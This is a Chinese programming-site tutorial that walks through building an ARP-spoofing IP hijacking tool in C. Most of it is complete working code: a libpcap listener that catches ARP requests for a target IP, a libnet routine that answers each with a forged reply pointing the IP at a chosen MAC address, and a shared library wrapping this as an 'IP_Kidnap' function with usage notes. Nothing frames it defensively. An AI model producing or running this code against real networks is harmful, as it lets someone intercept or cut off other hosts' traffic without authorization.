程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> 關於C語言 >> 通過C語言實現基於ARP的局域網IP劫持

通過C語言實現基於ARP的局域網IP劫持

編輯:關於C語言

閱讀這篇文章之前,請確認已經熟悉ARP報文偽造的方法,可參考《ARP數據包偽造》。

請看下圖,這是全篇文章的鳥瞰:

要想實現上圖的工作流程,必須實現兩個模塊:

自由的偽造ARP報文

抓取並分析所有流經網卡的數據包

從上圖中可以看出,我們可以通過BPF或者DLPI層實現數據包的抓取分析,而tcpdump的根基——libpcap庫,正是對BPF層的二次封裝實現的C庫,我們將通過它來實現數據包的抓取分析。

關於libpcap的基礎使用,請參考這篇文章《libpcap使用》。

下面給出一個簡單的libpcap過濾抓包的程序:

1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5
6 unsigned char glTargetIP[4]={192,168,1,99};
7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
9 char * glNICStr="eth2";
10
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13 int * id = (int *)arg;
14 unsigned char * src_ip =glTargetIP;
15 unsigned char * src_mac=glRetargetMac;
16 unsigned char * dst_ip =packet+28;
17 unsigned char * dst_mac=packet+22;
18
19 printf("id: %d\n", ++(*id));
20 printf("Packet length: %d\n", pkthdr->len);
21 printf("Number of bytes: %d\n", pkthdr->caplen);
22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
23
24 int i;
25 for(i=0; i<pkthdr->len; ++i)
26 {
27 printf(" %02x", packet[i]);
28 if( (i + 1) % 16 == 0 )
29 {
30 printf("\n");
31 }
32 }
33
34 printf("\n\n");
35 }
36
37 int main ()
38 {
39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40 struct bpf_program filter;
41
42 /* get a device */
43 devStr = pcap_lookupdev(errBuf);
44
45 if(devStr)
46 {
47 printf("success: device: %s\n", devStr);
48 }
49 else
50 {
51 printf("error: %s\n", errBuf);
52 exit(1);
53 }
54
55 /* open a device, wait until a packet arrives */
56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57
58 if(!device)
59 {
60 printf("error: pcap_open_live(): %s\n", errBuf);
61 exit(1);
62 }
63 /* set filter */
64 pcap_compile( device,&filter,glBpfCmd,1,0 );
65 pcap_setfilter(device ,&filter );
66 /* wait loop forever */
67 int id = 0;
68 pcap_loop(device, -1, getPacket, (u_char*)&id);
69
70 pcap_close(device);
71
72 return 0;
73 }

gcc name.c -lpcap -o name

結合ARP報文偽造模塊,下面給出完整實現代碼:

#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
    
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
    
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
    
    
unsigned char glTargetIP[4]={192,168,1,99};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2";
    
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 {
         static char padPtr[18];
         libnet_t *net_t = NULL; 
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag; 
         unsigned int i=0;
     
         printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
         printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
             
         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 2;
         }
     
         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)dst_ip,//dest ip  addr
                         padPtr,//payload
                         18,//payload length
                         net_t,//libnet context
                         0//0 stands to build a new one
         );
             
         if(-1 == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return 3;
         }
     
         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                        padPtr,//payload
                        0,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );
     
         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return 4;
         }
             
         int res;
         i=0;
         for(;i<sendTimes;i++)
           if(-1 == (res = libnet_write(net_t)))
           {
                 printf("libnet_write error!\n");
                 libnet_destroy(net_t);
                 return 5;
           }
             
         libnet_destroy(net_t);
         return 0;
 FAIL:        
         libnet_destroy(net_t);
                 return 6;
 }
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
  int * id = (int *)arg;
  unsigned char * src_ip =glTargetIP;
  unsigned char * src_mac=glRetargetMac;
  unsigned char * dst_ip =packet+28;
  unsigned char * dst_mac=packet+22;
      
  ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    
  printf("id: %d\n", ++(*id));
  printf("Packet length: %d\n", pkthdr->len);
  printf("Number of bytes: %d\n", pkthdr->caplen);
  printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
      
  int i;
  for(i=0; i<pkthdr->len; ++i)
  {
    printf(" %02x", packet[i]);
    if( (i + 1) % 16 == 0 )
    {
      printf("\n");
    }
  }
      
  printf("\n\n");
}
    
int main ()
{
  char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  struct bpf_program filter;
    
  /* get a device */
  devStr = pcap_lookupdev(errBuf);
      
  if(devStr)
  {
    printf("success: device: %s\n", devStr);
  }
  else
  {
    printf("error: %s\n", errBuf);
    exit(1);
  }
      
  /* open a device, wait until a packet arrives */
  pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
      
  if(!device)
  {
    printf("error: pcap_open_live(): %s\n", errBuf);
    exit(1);
  }
  /* set filter */
  pcap_compile( device,&filter,glBpfCmd,1,0 );  
  pcap_setfilter(device ,&filter );
  /* wait loop forever */
  int id = 0;
  pcap_loop(device, -1, getPacket, (u_char*)&id);
      
  pcap_close(device);
    
  return 0;
}

這個工具的驗證結果已經在文章鳥瞰圖中給出。

下面,我們將這段代碼封裝成為一個共享庫,以供其他程序調用。

//  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
    
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
    
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
    
    
static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr;
    
    
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 {
         static char padPtr[18];
         libnet_t *net_t = NULL; 
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag; 
         unsigned int i=0;
     
         printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
         printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
             
         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 2;
         }
     
         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)dst_ip,//dest ip  addr
                         padPtr,//payload
                         18,//payload length
                         net_t,//libnet context
                         0//0 stands to build a new one
         );
             
         if(-1 == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return 3;
         }
     
         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                        padPtr,//payload
                        0,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );
     
         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return 4;
         }
             
         int res;
         i=0;
         for(;i<sendTimes;i++)
           if(-1 == (res = libnet_write(net_t)))
           {
                 printf("libnet_write error!\n");
                 libnet_destroy(net_t);
                 return 5;
           }
             
         libnet_destroy(net_t);
         return 0;
 FAIL:        
         libnet_destroy(net_t);
                 return 6;
 }
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
  int * id = (int *)arg;
  unsigned char * src_ip =glTargetIP;
  unsigned char * src_mac=glRetargetMac;
  unsigned char * dst_ip =packet+28;
  unsigned char * dst_mac=packet+22;
      
  ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    
  printf("id: %d\n", ++(*id));
  printf("Packet length: %d\n", pkthdr->len);
  printf("Number of bytes: %d\n", pkthdr->caplen);
  printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
      
  int i;
  for(i=0; i<pkthdr->len; ++i)
  {
    printf(" %02x", packet[i]);
    if( (i + 1) % 16 == 0 )
    {
      printf("\n");
    }
  }
      
  printf("\n\n");
}
    
/* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )
{
  char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  struct bpf_program filter;
  glTargetIP=TargetIP;
  glBpfCmd=BpfCmd;
  glRetargetMac=RetargetMac;
  glSendNICStr=sendNICStr;
  glListenNICStr=listenNICStr;
    
  /* get a device */
  devStr = pcap_lookupdev(errBuf);
      
  if(devStr)
  {
    printf("success: device: %s\n", devStr);
  }
  else
  {
    printf("error: %s\n", errBuf);
    exit(1);
  }
      
  /* open a device, wait until a packet arrives */
  pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
      
  if(!device)
  {
    printf("error: pcap_open_live(): %s\n", errBuf);
    exit(1);
  }
  /* set filter */
  pcap_compile( device,&filter,glBpfCmd,1,0 );  
  pcap_setfilter(device ,&filter );
  /* wait loop forever */
  int id = 0;
  pcap_loop(device, -1, getPacket, (u_char*)&id);
      
  pcap_close(device);
    
  return 0;
}

編譯後的結果:

 函數原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
  dev : pointer to nic name, "eth0" for example.
  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  dst_mac : similar as src_mac
  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  dst_ip : similar as src_ip
  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved